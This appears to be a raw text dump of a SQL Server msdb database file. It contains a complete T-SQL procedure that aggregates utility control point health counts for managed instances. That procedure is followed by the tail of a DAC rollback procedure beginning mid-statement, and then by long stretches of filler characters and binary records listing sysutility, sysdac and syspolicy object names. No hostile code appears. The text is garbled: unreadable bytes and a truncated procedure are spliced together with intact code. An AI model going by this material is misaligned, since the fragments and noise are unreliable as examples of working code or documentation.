!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<[oNy/0Ҭ  %8((0))0F!@ 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_aggregated_mi_health 
   @new_set_number INT
WITH EXECUTE AS OWNER
AS
BEGIN
       
    -- ManagedInstanceCount
    DECLARE @mi_count INT = 0
    SELECT @mi_count = COUNT(*) 
    FROM msdb.dbo.sysutility_ucp_mi_health_internal hs
    WHERE hs.set_number = @new_set_number

    -- ManagedInstanceOverUtilizeCount
    DECLARE @mi_over_utilize_count INT = 0
    SELECT @mi_over_utilize_count = COUNT(*)
    FROM msdb.dbo.sysutility_ucp_mi_health_internal hs
    WHERE hs.set_number = @new_set_number AND
          (0 != hs.is_volume_space_over_utilized OR
           0 != hs.is_computer_processor_over_utilized OR
           0 != hs.is_file_space_over_utilized OR
           0 != hs.is_mi_processor_over_utilized)
           
    -- ManagedInstanceUnderUtilizeCount
    DECLARE @mi_under_utilize_count INT = 0
    SELECT @mi_under_utilize_count = COUNT(*)
    FROM msdb.dbo.sysutility_ucp_mi_health_internal hs
    WHERE hs.set_number = @new_set_number AND
          (0 != hs.is_volume_space_under_utilized OR
           0 != hs.is_computer_processor_under_utilized OR
           0 != hs.is_file_space_under_utilized OR
           0 != hs.is_mi_processor_under_utilized)
           AND 0 = hs.is_volume_space_over_utilized
           AND 0 = hs.is_computer_processor_over_utilized
           AND 0 = hs.is_file_space_over_utilized
           AND 0 = hs.is_mi_processor_over_utilized	           
    	   
    -- ManagedInstanceUnhealthyCount
    DECLARE @mi_unhealthy_count INT = 0
    SELECT @mi_unhealthy_count = @mi_over_utilize_count + @mi_under_utilize_count

    -- ManagedInstanceHealthyCount
    DECLARE @mi_healthy_count INT = 0
    SELECT @mi_healthy_count = COUNT(*)
    FROM msdb.dbo.sysutility_ucp_mi_health_internal hs
    WHERE hs.set_number = @new_set_number
    AND 0 = hs.is_volume_space_under_utilized
    AND 0 = hs.is_computer_processor_under_utilized
    AND 0 = hs.is_file_space_under_utilized
    AND 0 = hs.is_mi_processor_under_utilized
    AND 0 = hs.is_volume_space_over_utilized
    AND 0 = hs.is_computer_processor_over_utilized
    AND 0 = hs.is_file_space_over_utilized
    AND 0 = hs.is_mi_processor_over_utilized

    -- Insert new record
    INSERT INTO msdb.dbo.sysutility_ucp_aggregated_mi_health_internal(set_number
           , mi_count
           , mi_healthy_count
           , mi_unhealthy_count
           , mi_over_utilize_count
           , mi_under_utilize_count
           , mi_on_over_utilized_computer_count
           , mi_on_under_utilized_computer_count
           , mi_with_files_on_over_utilized_volume_count
           , mi_with_files_on_under_utilized_volume_count
           , mi_with_over_utilized_file_count
           , mi_with_under_utilized_file_count
           , mi_with_over_utilized_processor_count
           , mi_with_under_utilized_processor_count)
    SELECT @new_set_number
            , @mi_count 
            , @mi_healthy_count 
            , @mi_unhealthy_count 
            , @mi_over_utilize_count 
            , @mi_under_utilize_count 
            , ISNULL(SUM(CASE WHEN 0 < hs.is_computer_processor_over_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_computer_processor_under_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_volume_space_over_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_volume_space_under_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_file_space_over_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_file_space_under_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_mi_processor_over_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_mi_processor_under_utilized THEN 1 ELSE 0 END), 0)
    FROM msdb.dbo.sysutility_ucp_mi_health_internal hs 
    WHERE hs.set_number = @new_set_number
END
ence_id, @rollback_success, NULL) WITH NOWAIT        
    END
    ELSE IF @action_type = @setreadwrite  --readonly step
    BEGIN
        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_pending, NULL) WITH NOWAIT

        EXEC dbo.sp_sysdac_setreadonly_database @database_name = @dac_object_name_pretran, @readonly = 0

        RAISERROR(N'%d, %d, %s', -1, 1, @sequence_id, @rollback_success, NULL) WITH NOWAIT        
    END
    
    --mark the entry as rolledback
    UPDATE sysdac_history_internal
    SET action_status = @rollback
    WHERE action_id = @action_id AND sequence_id = @sequence_id
    
    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!G"`qbpOUi6Hsysutility_ucp_filegroups_with_policy_violations_internaldbo6)#=sysutility_ucp_filegroups_with_policy_violations_internaldbo6/bhsysutility_ucp_health_policies_internaldbo6Sbhsysutility_ucp_health_policies_internaldbo66xbhsysutility_ucp_health_policies_internaldbo6obhsysutility_ucp_health_policies_internaldbo6)#=TZsysutility_ucp_instance_policiesdbo6ɍ@TZsysutility_ucp_instance_policiesdbo6V16DJsysutility_ucp_instancesdbo6G8DJsysutility_ucp_instancesdbo6<DJsysutility_ucp_instancesdbo6ɍ@DJsysutility_ucp_instancesdbo6U3BHsysutility_ucp_logfilesdbo6L*TZsysutility_ucp_managed_instancesdbo6QGflsysutility_ucp_managed_instances_internaldbo6;flsysutility_ucp_managed_instances_internaldbo6wK]hnsysutility_ucp_mi_database_health_internaldbo6)#=lrsysutility_ucp_mi_file_space_health_internaldbo6>W\lrsysutility_ucp_mi_file_space_health_internaldbo6nxV\sysutility_ucp_mi_health_internaldbo6c[pvsysutility_ucp_mi_volume_space_health_internaldbo6+"BHsysutility_ucp_policiesdbo6Ts%BHsysutility_ucp_policiesdbo6%BHsysutility_ucp_policiesdbo6<BHsysutility_ucp_policiesdbo6!=BHsysutility_ucp_policiesdbo6WE>BHsysutility_ucp_policiesdbo6	~rxsysutility_ucp_policy_check_conditions_internaldbo6+"Z`sysutility_ucp_policy_configurationdbo6uZtzsysutility_ucp_policy_target_conditions_internaldbo6TTZsysutility_ucp_policy_violationsdbo6ƻ&TZsysutility_ucp_policy_violationsdbo6'TZsysutility_ucp_policy_violationsdbo6p6!flsysutility_ucp_policy_violations_internaldbo6+"flsysutility_ucp_policy_violations_internaldbo6adjsysutility_ucp_processing_state_internaldbo6%djsysutility_ucp_processing_state_internaldbo6Idjsysutility_ucp_processing_state_internaldbo6nxdjsysutility_ucp_processing_state_internaldbo6+"djsysutility_ucp_processing_state_internaldbo6O$djsysutility_ucp_processing_state_internaldbo6)#=DJsysutility_ucp_instancesdbo6)#=hnsysutility_ucp_mi_database_health_internaldbo6bG1DJsysutility_ucp_instancesdbo6bG1TZsysutility_ucp_policy_violationsdbo6bG1TZsysutility_ucp_policy_violationsdbo6bG1	pvsysutility_ucp_mi_volume_space_health_internaldbo6k%@sysutility_ucp_logfiles6k%TZsysutility_ucp_policy_violationsdbo6k%pvsysutility_ucp_mi_volume_space_health_internaldbo6

 BHsysutility_ucp_logfilesdbo6

 TZsysutility_ucp_instance_policiesdbo6

 V\sysutility_ucp_mi_health_internaldbo6

 lrsysutility_ucp_mi_file_space_health_internaldbo6

 TZsysutility_ucp_managed_instancesdbo6

 Z`sysutility_ucp_instance_policy_typedbo6

 DJsysutility_ucp_instancesdbo6

 TZsysutility_ucp_policy_violationsdbo6

 
pvsysutility_ucp_mi_volume_space_health_internaldbo6F!V\sysutility_ucp_mi_health_internaldbo6!V\sysutility_ucp_mi_health_internaldbo6!djsysutility_ucp_processing_state_internaldbo6!sysutility_ucp_filegroups_with_policy_violations_internaldbo6!	lrsysutility_ucp_mi_file_space_health_internaldbo6!hnsysutility_ucp_mi_database_health_internaldbo6!pvsysutility_ucp_mi_volume_space_health_internaldbo6 "bhsysutility_ucp_health_policies_internaldbo6D#BHsysutility_ucp_policiesdbo6D#V\sysutility_ucp_mi_health_internaldbo6D#flsysutility_ucp_policy_violations_internaldbo6D#djsysutility_ucp_processing_state_internaldbo6D#
sysutility_ucp_filegroups_with_policy_violations_internaldbo6D#lrsysutility_ucp_mi_file_space_health_internaldbo6D#TZsysutility_ucp_managed_instancesdbo6D#bhsysutility_ucp_health_policies_internaldbo6D#hnsysutility_ucp_mi_database_health_internaldbo6D# pvsysutility_ucp_mi_volume_space_health_internaldbo6*i$V\sysutility_ucp_mi_health_internaldbo6*i$djsysutility_ucp_processing_state_internaldbo6*i$flsysutility_ucp_managed_instances_internaldbo6*i$flsysutility_ucp_managed_instances_internaldbo*vN$0n2<Z2"`\rzzHx\`p2bqOP6)#=hnsysutility_ucp_mi_database_health_internaldbo6!hnsysutility_ucp_mi_database_health_internaldbo6D#hnsysutility_ucp_mi_database_health_internaldbo6wK]hnsysutility_ucp_mi_database_health_internaldbo6)#=lrsysutility_ucp_mi_file_space_health_internaldbo6

 lrsysutility_ucp_mi_file_space_health_internaldbo6!	lrsysutility_ucp_mi_file_space_health_internaldbo6D#lrsysutility_ucp_mi_file_space_health_internaldbo6>W\lrsysutility_ucp_mi_file_space_health_internaldbo6nxV\sysutility_ucp_mi_health_internaldbo6

 V\sysutility_ucp_mi_health_internaldbo6F!V\sysutility_ucp_mi_health_internaldbo6!V\sysutility_ucp_mi_health_internaldbo6D#V\sysutility_ucp_mi_health_internaldbo6*i$V\sysutility_ucp_mi_health_internaldbo6bG1	pvsysutility_ucp_mi_volume_space_health_internaldbo6k%pvsysutility_ucp_mi_volume_space_health_internaldbo6

 
pvsysutility_ucp_mi_volume_space_health_internaldbo6!pvsysutility_ucp_mi_volume_space_health_internaldbo6D# pvsysutility_ucp_mi_volume_space_health_internaldbo6c[pvsysutility_ucp_mi_volume_space_health_internaldbo6+"BHsysutility_ucp_policiesdbo6D#BHsysutility_ucp_policiesdbo6Ts%BHsysutility_ucp_policiesdbo6%BHsysutility_ucp_policiesdbo6<BHsysutility_ucp_policiesdbo6!=BHsysutility_ucp_policiesdbo6WE>BHsysutility_ucp_policiesdbo6	~rxsysutility_ucp_policy_check_conditions_internaldbo6+"Z`sysutility_ucp_policy_configurationdbo6uZtzsysutility_ucp_policy_target_conditions_internaldbo6TTZsysutility_ucp_policy_violationsdbo6bG1TZsysutility_ucp_policy_violationsdbo6bG1TZsysutility_ucp_policy_violationsdbo6k%TZsysutility_ucp_policy_violationsdbo6

 TZsysutility_ucp_policy_violationsdbo6ƻ&TZsysutility_ucp_policy_violationsdbo6'TZsysutility_ucp_policy_violationsdbo6p6!flsysutility_ucp_policy_violations_internaldbo6+"flsysutility_ucp_policy_violations_internaldbo6D#flsysutility_ucp_policy_violations_internaldbo6adjsysutility_ucp_processing_state_internaldbo6%djsysutility_ucp_processing_state_internaldbo6Idjsysutility_ucp_processing_state_internaldbo6nxdjsysutility_ucp_processing_state_internaldbo6!djsysutility_ucp_processing_state_internaldbo6+"djsysutility_ucp_processing_state_internaldbo6D#djsysutility_ucp_processing_state_internaldbo6O$djsysutility_ucp_processing_state_internaldbo6*i$djsysutility_ucp_processing_state_internaldbo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(TBjJ

<
6

^

		>	Rfzf
Rn<`y$bTxOX0

 	`JPsysutility_ucp_logfilesdbo0

 	@^dlsysutility_ucp_managed_instancesdbomsdb0

 	@v|sysutility_ucp_mi_file_space_health_internaldbomsdb0

 	@`fnsysutility_ucp_mi_health_internaldbomsdb0aw 	pHsysdac_history_internal0aw 	`NTsysdac_instances_internaldbo0֌ 	@HNVsystargetservergroupsdbomsdb0p6!	`ntsysutility_ucp_policy_violations_internaldbo0k!	`NTsp_sysdac_delete_instancedbo0k!	`JPsp_sysdac_drop_databasedbo0k!	`NTsp_sysdac_rename_databasedbo0k!	`X^sp_sysdac_setreadonly_databasedbo0k!	pHsysdac_history_internal0k!	`NTsysdac_instances_internaldbo03!	@HNVsystargetservergroupsdbomsdb0!	`FLsysssispackagefoldersdbo0!	`:@sysssispackagesdbo0+"	@syspolicy_policy_execution_history_details_internaldbomsdb0+"	@tzsyspolicy_policy_execution_history_internaldbomsdb0+"	@LRZsysutility_ucp_policiesdbomsdb0+"	@djrsysutility_ucp_policy_configurationdbomsdb0+"	`ntsysutility_ucp_policy_violations_internaldbo0+"	@nt|sysutility_ucp_processing_state_internaldbomsdb0`"	`Z`sp_sysdac_resolve_pending_entrydbo0`"	`^dsp_sysdac_rollback_committed_stepdbo0`"	pHsysdac_history_internal0`"	`JPsysdac_history_internaldbo0lu"	@TZbsystargetservergroupmembersdbomsdb0lu"	@HNVsystargetservergroupsdbomsdb0'%"	`\bfn_syscollector_get_package_pathdbo0'%"	`flsyscollector_collector_types_internaldbo0'%"	p8sysssispackages05T#	`^dsp_sysdac_rollback_pending_objectdbo05T#	pHsysdac_history_internal0Ci#	@TZbsystargetservergroupmembersdbomsdb0Ci#	@HNVsystargetservergroupsdbomsdb0Ci#	@>DLsystargetserversdbomsdb0`I#	`TZsyscollector_collector_typesdbo0O$	@hnvsysutility_ucp_configuration_internaldbomsdb0O$	@nt|sysutility_ucp_processing_state_internaldbomsdb0g]$	@TZbsystargetservergroupmembersdbomsdb0g]$	@HNVsystargetservergroupsdbomsdb0

 	`\bsysutility_ucp_policy_violationsdbo0

 
